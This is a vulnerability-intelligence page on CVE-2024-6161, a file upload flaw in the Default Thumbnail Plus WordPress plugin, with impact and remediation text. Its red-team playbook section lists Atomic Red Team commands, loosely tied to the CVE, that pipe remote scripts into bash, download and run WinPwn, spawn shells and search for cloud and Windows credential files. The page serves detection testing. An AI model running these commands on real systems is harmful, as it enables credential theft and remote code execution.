CVE-2024-6161
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of uploaded file types within the 'get_cache_image' function of the Default Thumbnail Plus WordPress plugin. The affected component fails to enforce file type restrictions, enabling improper handling of user-supplied files. This issue exists in all versions up to and including 1.0.2.3, specifically within the plugin's image caching mechanism.
Vulnerability Description
The Default Thumbnail Plus plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'get_cache_image' function in all versions up to, and including, 1.0.2.3. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or higher privileges can exploit this vulnerability to upload arbitrary files, potentially leading to remote code execution on the affected server. This requires authentication but no user interaction beyond file upload capabilities. Successful exploitation may result in full compromise of the WordPress site, including data breach and service disruption. The CVSS vector indicates low attack complexity and privileges required (AC:L, PR:L) with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade the Default Thumbnail Plus plugin to a version later than 1.0.2.3 where this vulnerability is addressed. Detailed patch information and remediation steps are provided by Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/046f11b6-7d1a-4bd3-8250-4c5a50fab3ff. No official workaround is noted; therefore, updating the plugin to the fixed release is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Default Thumbnail Plus plugin for WordPress exhibits a critical vulnerability due to inadequate file type validation within the 'get_cache_image' function. This flaw allows authenticated users, specifically those with contributor-level permissions or higher, to upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks on the file types being uploaded means that attackers can exploit this weakness to introduce malicious files, potentially leading to remote code execution. This vulnerability is particularly concerning as it bypasses traditional security measures that would typically restrict file uploads to specific formats, such as images.
Attack vectors for this vulnerability primarily involve authenticated users leveraging their permissions to upload harmful files disguised as legitimate content. An attacker could craft a malicious file, such as a PHP script, and upload it through the plugin's interface. Once the file is on the server, the attacker can execute it, gaining control over the web server and potentially accessing sensitive data or launching further attacks within the network. Scenarios could include using the uploaded file to establish a web shell, which would allow for persistent access to the server, or deploying malware that could compromise other connected systems.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on WordPress for their web presence. The potential for remote code execution poses a severe business risk, as it can lead to data breaches, loss of customer trust, and financial repercussions from downtime or remediation efforts. Additionally, if an attacker gains access to sensitive information, such as user data or proprietary content, the organization could face legal liabilities and regulatory scrutiny. The exploitation of this vulnerability could also result in reputational damage, as customers and stakeholders may lose confidence in the organization's ability to protect their information.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Default Thumbnail Plus plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities within their WordPress installations. Educating users about the risks associated with file uploads and enforcing the principle of least privilege can further reduce the likelihood of exploitation.
In conclusion, the vulnerability within the Default Thumbnail Plus plugin represents a critical threat to WordPress sites, particularly due to its potential for remote code execution. The ease of exploitation by authenticated users with minimal permissions underscores the need for robust security practices. By prioritizing timely updates, employing security tools, and fostering a culture of security awareness, organizations can significantly reduce their risk exposure and protect their digital assets from malicious actors.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6161 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/046f11b6-7d1a-4bd3-8250-4c5a50fab3ff?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/default-thumbnail-plus/trunk/default-thumbnail-plus.php?rev=597280#L337 |